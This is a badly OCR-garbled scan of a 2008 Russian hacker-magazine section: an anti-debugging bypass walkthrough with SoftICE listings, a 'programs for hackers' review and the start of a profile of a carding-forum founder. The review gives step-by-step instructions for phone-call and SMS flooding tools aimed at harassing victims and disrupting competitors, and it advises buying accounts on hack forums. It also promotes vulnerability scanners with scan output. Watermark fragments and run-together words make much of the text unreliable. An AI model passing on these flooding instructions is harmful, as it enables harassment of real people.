0012D000

00000000

:d ss:12FFB4 ; смотрим структуру EXCEPTION_

REGISTRATION :d ss:012FFB4

0023:0012FFB4 0012FFBC 004002A3 FFFFFFFF 0040028A 0023:0012FFC4 79458989 FFFFFFFF 0012FA34 7FFDF000

Ага, мы видим, что в FS:[00000000h] содержится адрес 0012FFB4h, переходя по которому мы обнаруживаем структуру EXCEPTION_ REGISTRATION: {0012FFBC, 004002A3}, где первое двойное слово

— указатель на следующий SEH-обработчик, а второе — указатель на сам обработчик:

Дизассемблерныйлистингпервого

SEH-обработчикавцепочке

:u 4002A3

 

 

 

001B:004002A3

33 C0

XOR

EAX,EAX

001B:004002A5

40

INC

EAX

001B:004002A6

C3

RET

 

 

 

 

 

Упс, первый SEH-обработчик не содержит ничего интересного и просто возвращает управление следующему обработчику, поэтому, используя первое двойное слово структуры EXCEPTION_REGISTRATION, мы переходим по адресу 12FFBCh и видим следующую запись — EXCEPTION_ REGISTRATION: {FFFFFFFFh, 0040028Ah}. В данном случае она расположена рядом с первой, однако так бывает далеко не везде и не всегда, но это и неважно. Главное, мы получили адрес очередного обра-

ботчика — 0040028Ah.

Дизассемблерныйлистингвторого SEH-обработчикавцепочке

:u 40028A

001B:0040028A

MOV EAX, [ESP + 0C]

001B:0040028E

ADD BYTE PTR [EAX + 000000B8], 02

001B:00400295

EAX, [EAX + 000000C0]

001B:0040029B

MOV [0040033C], EAX

064

xàêåð 06 /114/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Определениеадресамашиннойинструкции,передающейуправлениеSEHобработчику

Генерация«левого»исключенияиз-заошибкивотладочном«движке»

РезультатработыContextRecordHelper’a

001B:004002A0

XOR EAX, EAX

001B:004002B2

MOV EAX,[0040033C]

 

001B:004002A2

RET

001B:004002B7

TEST AH,01

; TF бит

 

 

001B:004002BA

JZ 004002C8

 

 

 

 

Ага, а вот тут, кажется, содержится что-то интересное! Вернувшись

 

к прототипу функции handler, определяем, что по смещению 0Ch

Все ясно! Защита анализирует содержимое регистра флагов и,

относительно верхушки стека расположена структура Context. Сле-

если бит трассировки взведен, заключает, что программа находит-

довательно, в регистр EAX грузится регистровый контекст. А дальше...

ся под отладкой. Как это обломать? Возможные варианты: сбросить

какой-то из регистров увеличивается на два байта. Но как узнать, ка-

бит трассировки в обработчике исключений путем модификации

кой? Нам поможет context helper, с помощью которого мы узнаем, что

ячейки [ESP+0C]0Ch в отладчике. Чтобы автоматизировать про-

это EIP. А вот по смещению C0h в регистровом контексте содержит-

цесс, можно создать условную точку останова на функцию NTDLL.

ся EFlags, сохраняемый в глобальной переменной 0040033Ch, на

DLL!KiUserExceptionDispatcher (PEXCEPTION_RECORD

которую при желании можно поставить аппаратную точку останова

pExcptRec, CONTEXT *pContext), всегда сбрасывая TF-бит

на чтение/запись, чтобы посмотреть, что с ней происходит в

по адресу pContext EFlags, что позволит надежно скрыть

дальнейшем:

отладчик от защиты. При этом перестанут работать самотрассирую-

 

щие программы, отладчики прикладного уровня и еще много чего,

Чтениеглобальнойпеременной,хранящейрегистрфлагов

поэтому ручная работа все же предпочтительнее автоматической.

:bpm 40033C RW

Второйвариант(совершеннонеуниверсальный,нонадежный)—изме-

:x

нитьусловныйпереходпоадресу004002BAh набезусловный,чтобыон

Break due to BPMB #0023:0040033C RW DR3 (ET=1.48

всегдарапортовалзащитеосброшенномфлагетрассировки.Естественно,

milliseconds)

этопрокатиттолькосданнойпрограммой—заотказотуниверсальности

MSR LastBranchFromIp=00400288

приходитсяплатить.

MSR LastBranchToIp=004002A7

ПопыткапримененияOllyDbgприводитккраху,посколькуонневполне

 

корректнообрабатываетисключения(какструктурные,такивекторные).

 

Подробности—водноименнойврезке.z

xàêåð 06 /114/ 08

065

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

x-toolsЛеонид «R0id» Стройков

/ r0id@bk.ru /

Программы для хакеров

Программа:SkypePhoneKiller ОС:Windows2000/XP

Автор:ZloandGrom

ФлудимчерезSkype

Настраницахжурналамынеразупоминалиотакой забавнойиполезнойштуке,какфлудмобильников. Представьсебе,какможнодосадитьчеловеку, разорвавеготелефоннепрерывнымизвонка- ми/sms-сообщениями,аужпрото,какприятно сорватьделовуювстречуконкурентовявообще молчу.Однимсловом,наиболеепредприимчивые товарищидавносмекнули,вчемпользателефонногофлуда.Поэтомуперейдемотсловкделуи рассмотримнезаменимыйинструмент—софтину

SkypePhoneKiller.Начнемпопорядку:

1.СперваустанавливаемпрограммуSKYPE. Вкомплектестулзойидетоднаизпоследних

версий.Впредьпрогуможноскачиватьнаофи-

циальномсайте:www.skype.com/intl/ru.

2.ПослезавершенияустановкиСкайпаинсталимфлудер.ДляэтогозаходимвпапкуskypeflooderизапускаемфайлSetup.

3.Теперьзапускаемехе’шникSkypePhoneKiller, которыйнаходитсявпапкеskype-flooder,и начинаемосваиватьфункциитулзы:).

4.Вполе«контакт»вбиваемномертелефона того,когобудемфлудить.Причем,номерследует указыватьвмеждународномформате,например: +7хххххххххх(дляРоссии).Жмемнакнопкус надписью«Добавить».Номерпопадаетвокошко «списоксмертников».Повсемномерамвэтом окошкепрограммабудетзвонитьпоочереди.

5.Заходимв«Настройки»ирегулируемфункции: •  «Разговорпродолжать»—черезуказанноеко-

личествосекундпрограммаброситтрубку,когда

еевозьмутстойстороны.Если«0сек»—бросает сразу.Советуюоставить«0»подефолту,чтобыне кушаламногоденег.

•  «Ожиданиеответа»—сколькосекундбудетидти дозвон,поканеснимуттрубку.Подефолтустоит«30», надосказать,чтоэтовполнеприемлемыйвариант:). 6.ЗапускаемSkype,заинсталенныйранее, авторизуемсянасвоемаккаунте,пополняем баланс(неменее$1)иразрешаемсофтине SkypePhoneKillerюзатьСкайпсамостоятельно. Теперьтыможешьсоставитьсписокжертв ижатьна«Старт»вприветливомокошке

SkypePhoneKiller’а.Кстати,баланствойбудет оставатьсянапрежнемуровне,ибодажепри дефолтовыхнастройкахтулзабросаеттрубкупри дозвоне.Вобщем,лучшефлудераненайти:). ПоблагодаримребятсWHBзаэтотприватный релизутилы,респект:).

Программа: AcunetixWebVulnerability Scanner

ОС:Windows2000/XP Автор:Acunetix

Одинизлучшихсканероввеб-уязвимостей

Средимножествасамыхразнообразныхсканеров,появившихсявпоследнеевремя,поройне так-топростонайтиподходящий.Посемухочу представитьтвоемувниманиюодинизпостоянно обновляющихсясканероввеб-уязвимостейот компанииAcunetix—AcunetixWebVulnerability Scanner.Тулзапредназначенадляпроверкина такиевеб-уязвимости,какsql-injection,xss,php- include,etc.Онаавтоматическиобнаруживает следующиебаги:

Cross site scripting — выполне-

ние вредоносного сценария в браузере пользователя при обращении и в контексте безопасности доверенного сайта

SQL injection — выполнение SQL-за-

просов из браузера для получения несанкционированного доступа к данным

База данных GHDB (Google hacking database) — перечень типовых запросов, используемых хакерами всего мира для получения несанкционированного доступа к web-приложения и сайтам

Выполнение кода

Обход ограничений на доступ к каталогам

Вставка файлов (File inclusion)

Раскрытие исходного текста сценария (aka просмотр сорцов :)

CRLF injection

Cross frame scripting

Общедоступные резервные копии файлов и папок (aka поиск бэкапов в веб-директориях)

Файлы и папки, содержащие важную информацию

Файлы, которые могут содержать информацию, необходимую для проведения атак (системные логи, журналы трассировки приложений и т.д.)

Файлы, содержащие листинг каталогов

Каталоги с низким уровнем защиты, позволяющие создавать, модифицировать или удалять файлы

Крометого,сканерумеетидентифицироватьзадейст­ вованныесерверныетехнологии(WebDAV,FrontPage ит.д.)иразрешениенаиспользованиепотенциально опасныхhttp-методов(PUT,TRACE,DELETE).

Пожалуй,единственныйминус—платность полнофункциональнойверсии.Хотя,захороший софтнежалкозаплатить,правда?

Программа:Nikto

ОС:*nix/WIn Автор:CIRT,Inc.

Еще один знаменитый сканер уязвимостей, который не нуждается в дополнительном представлении — Nikto. Софтина отличается

066

xàêåð 06 /114/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Если веб-сайт требует авторизацию, Nikto легко сможет пройти ее (естественно, зная корректные имя пользователя и пароль)

Если веб-демон не найден на стандартном 80 порту, Nikto попробует найти его на любом другом

Для увеличения скорости работы поддерживается интеграция с nmap’ом

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взлом to BUY

 

 

 

 

 

 

m

w Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

обнаруженияразличногородауязвимостей.Из df-x chan

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

основныхвозможностейможновыделить:

Сканирование портов + выводит список возможных Троянов

Dir scan

sub domain scan

CGI scan (по словам автора, пока не доделан)

Популярныйperl-сканер

от аналогов, прежде всего, тем, что полностью реализована на Perl, благодаря чему одинаково приятно эксплуатируется как на *nix, так и на Win-платформах. Сканер под­ держивает SSL-соединение, работу через прокси и много чего еще. В базе собрана информация о более чем 3000 опасных уязвимостей в CGI-сценариях и ошибках HTTP-серверов (стандартные пароли, открытые для чтения файлы конфигурации и т.п.). С помощью подключаемых модулей утила обретает высокую функциональность, поэтому не поленись посмотреть в папку /plugins :). Для полноценной работы Nikto необходимо установить свежую версию Perl’а, модули

NET::SSLeay, LibWhisker, а также OpenSSL (в

случае использования на Win-платформах

— модуль Net::SSL), если требуется поддержка SSL-соединений.

Сканер хорош в тестировании удаленных хостов на наличие различных уязвимостей:

В базе программы имеется информация о более чем 3200 уязвимых веб-сцена-

риях, а также 625 веб-демонов

Инфа об уязвимостях оформляется в виде специальных плагинов, что позволяет расширять базу без апдейта самого приложения

Nikto поддерживает автоматические обновления, поэтому за новыми плагинами не придется вручную вылезать в Сеть

Анти-IDS методы — еще одна отличительная черта Nikto. Опытные администраторы нередко устанавливают системы обнаружения вторжения и таким образом обламывают разного рода сканирования. В отличие от других сканеров, использующих Perl-библио-

теку Libwhisker, Nikto не определя-

ется IDS-системой

В ядре программы заложены различные stealth-методы, позволяющие замаскировать свою работу под обычные пользовательские запросы

Если возможно, Nikto самостоятель-

но определит директорию с CGI-скрип-

тами и проверит ее на наличие бажных сценариев

Полноценная поддержка прокси

возможностью авторизации), а также SSL-соединения при правильном подходе гарантируют твою безопасность

Программа:SMSflooder+spamer ОС:*nix/WIn

автор: DX

Флудиммобильники

Еслитулзудляфлудамобильниковпутемнепрерывныхзвонковмыужерассмотрели,тотеперьнастало времясмс-флуда.Хочуобратитьтвоевниманиена софтинкуSMSflooder+spamer,написаннуюнаPHP.

Переднамифлудер-спамерSMS,работающий черезMail.ru.Онпозволяетслатьзаданноечисло сообщенийнаопределенныйномерилипоодному сообщениюнаномераиззаданногосписка.Для работыскриптанужны:N-ноечислоаккаунтовmail.ru ихостсподдержкойPHPифункцийсокетов.Скрипт имеетудобныйвеб-интерфейсипредставляет собойфункциональнуюпанельуправленияфлудом, реализованнуюспомощьютехнологииAJAX.Объемы рассылокнапрямуюзависятотколичествааккаунтов (которыетыможешьприобрестинабольшинстве хак-форумовпоприемлемойцене).Скриптпозволяет указыватьтекстsms-сообщения,формироватьлисты отправки,рандомизироватьмессаги,etc.Такжеты можешьвручнуюуказатьинтервалыожиданиямежду отправками,указавсоответствующиезначенияперед запускомфлудера.Однимсловом,еслитырешил немногопрорекламироватьсвойтоварилипопортить

-тожизнь—этатулзаспециальнодлятебя.

Программа:PHPSecurityScanner ОС:*nix/WIn

автор: DX

Удобныйскриптовыйсканер

Иногдаслучаетсятак,чтоустановитьполноценныйсканернепредставляетсявозможнымпо причиненедостаткаправ.Вэтойситуациина помощьприходятразличныескриптовыеутилы, предназначенныедлясканированияпортови

ВниксахивВиндескриптследуетзапускатьиз консоли:

Example: php scan.php -h antichat. ru -full

Чтобыпоказатьвсенаглядно,рассмотримпримерсканапроизвольногохоста:

[-] Black Cat v 1.1 (betta)

[+]Target IP: 78.110.50.112

[+]Target Hostname: ********.ru

[+]Target Port: 80

[+]Time out: 0.5

[+]Start Time: 01.06.59

[+]Ping Time: 0.02

--------------------------------

Port Scan

--------------------------------

21 FTP — File Transfer Protocol [Control]

22 SSH — SSH (Secure Shell) Remote Login Protocol

25 SMTP — Simple Mail Transfer Protocol

53 DOMAIN — Domain Name Server

80 WWW-HTTP — World Wide Web HTTP (Hyper Text Transfer Protocol) 110 POP3 — Post Office Protocol

— Version 3

119 NNTP — Network News Transfer Protocol

----------------------------------

Scan port: 59

Open port: 52

Domen Scan

----------------------------------

********.com

----------------------------------

Scan domen: 11 Find domen: 1 Dir Scan

---------------

[*] Found: host.com/admin/ || 200[*] Found: host.com/admin/ || 200[*] Found: host.com/catalog/ || 200[*] Found: host.com/films/ || 200[*] Found: host.com/images/ || 403[*] Found: host.com/passwd/ || 300[*] Found: host.com/perl/ || 500[*] Found: host.com/products/ || 200[*] Found: host.com/server-status/ || 200[*] Found: host.com/server-info/ || 200[*] Found: host.com/video/ || 200 zz

xàêåð 06 /114/ 08

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> сцена

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Профайл: Script

Крестный отец кардинга

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Мария «Mifrill» Нефедова

/ mifrill@riddick.ru /

Казалось бы, разве что-то может объединять два таких разных понятия — хакинг и политика? Оказывается, может. Только не «что-то», а «кто-то». В прошлом — легендарная личность компьютерного андеграунда, известный на всю планету кардер Script. Ныне, по мнению секретных служб — глава «Интернет партии Украины» Дмитрий Голубов.

Когда деревья были большими

Одно старое утверждение гласит, что лучше всего о человеке говорят его поступки. Так что сейчас будет небольшой экскурс в прошлое. В ходе него я расскажу о некогда нашумевшем (и по сей день культовом) месте

carderplanet. Правда, живо оно только в памяти тех, кто помнит. Наша история начинается в конце 90 х, когда рунет был молод, да и интернет, в целом, не достиг еще зрелого возраста. В то время умельцы со всего мира провернули не одну громкую околосетевую аферу. По сути, такие вещи, как кардинг, зародились именно тогда — в пору расцвета интернет-магазинов и оплаты кредитками онлайн.

Явление русского кардинга тогда развивалось параллельно со всем остальным миром, не считая некоторых «но». Например, чувства меры

унашего брата хватает не всегда, так что из-за огромного числа случаев мошенничества в какой-то момент зарубежные магазины просто перестали отправлять товары в наши края. В основном народ просто расплачивался чужими, а то и вовсе несуществующими карточками.

Стоит заметить, что от крайне сомнительной репутации мы до сих пор избавились не до конца, и связываться с русскими на том же EBay часто боятся. Как показывает практика, правильно делают.

Атогда, в конце 90 х, из общей массы кардеров выделился ряд людей, которые стали своего рода элитой — они занимались сетевым мошенничеством наиболее серьезно и, если можно так выразиться, профессионально. Эти «профи» и образовали костяк будущего сообщества на многие годы вперед. Позаимствовав терминологию у мафиозных кланов времен сухого закона, они стали называть себя «семьей». Бэкапы и архивы донесли их ники до наших дней. В «семью» входили: Script, Ryden, Pan Kohones, Boa, Vvc3. Все они хорошо и достаточно давно знали друг друга, и между ними царило полное доверие. Стать ее членом можно было, только работая с «семьей» в целом и со Скриптом в частности. Так русский сегмент «бизнеса» появился на свет, развился и практически состоялся, — даже образовалась некая элитарная прослойка. Но своего дома у наших кардеров по-прежнему не было. Исправить это упущение взялся Script, создав первый русскоязычный сайт по теме

www.carder.ru. Однако он хотел сделать не просто какой-то там сайт, для галочки, а по-настоящему хороший и удобный ресурс, где можно было бы делиться опытом, поискать совета, провернуть сделку, etc. И у

него получилось — настолько удачно, что сarder.ru не прожил и года; им сильно заинтересовались спецслужбы разных стран. От греха подальше сайт прикрыли, что лишний раз подтверждало: затея удалась. Затем было принято решение carder реанимировать. С этой целью был куплен легендарный домен — carderplanet.com, он же carderplanet.cc, о кото-

ром мало кто не слышал.

Иерархия на carderplanet продолжила традиции итальянской мафии. Даже звания пользователям здесь присваивались сообразно этой схеме. Так, члены со статусом Capo-di-capi (слегка перевранное Capo dei Capi, «Босс всех боссов») отвечали за безопасность и помощь «семье». Capo были проверенными мемберами, Don'ы членами «семьи» — и так далее. Несмотря на этот пафос, который со стороны может показаться забавной игрой, дела на «планете» делались большие и вопросы обсуждались серьезные. А еще, как ни странно, там практически не

было ламеров и толп пятнадцатилетних новичков с дурными вопросами. Форумы carderplanet постепенно превратились в сердце и душу сайта. Они приютили не только кардеров, но и хакеров всех мастей, а также спамеров, людей, пишущих вредоносное ПО под заказ, и многих других. Большинство участников были настоящими мастерами своего незаконного дела. Основным языком ресурса был, конечно, русский, но имелся и специализированный раздел для англоязычных юзеров, который тоже пользовался популярностью.

Множество уникальной и полезной информации плюс проверенные люди (кидал в пору расцвета сайта быстро вычисляли и присваивали им статус Ripper) и спектр услуг на любой вкус стабильно приводили на сайт новую публику. Услуги, в самом деле, были разнообразны: начиная от продажи номеров краденных кредиток, PayPal и Ebay акков и заканчивая подделкой документов и пластиковых карт и заказом спам-рас- сылок. «Планета» цвела и пахла, но такая бурная деятельность не могла не привлечь внимания правоохранительных органов. По «первости» на сайт засматривались большей частью западные спецслужбы (на рубеже XX и XXI века нашим и без кардеров было чем заняться). Но чем больше становились обороты «Планеты» и чем громче гремела ее слава, тем сильнее сайт мозолил глаза всем, кому только можно.

Активные репрессии начались в 2004 году. Сначала на Кипре арестовали одного из членов «семьи» — Boa aka Романа Вега. Ему принадлежал

068

xàêåð 06 /114/ 08

Соседние файлы в папке журнал хакер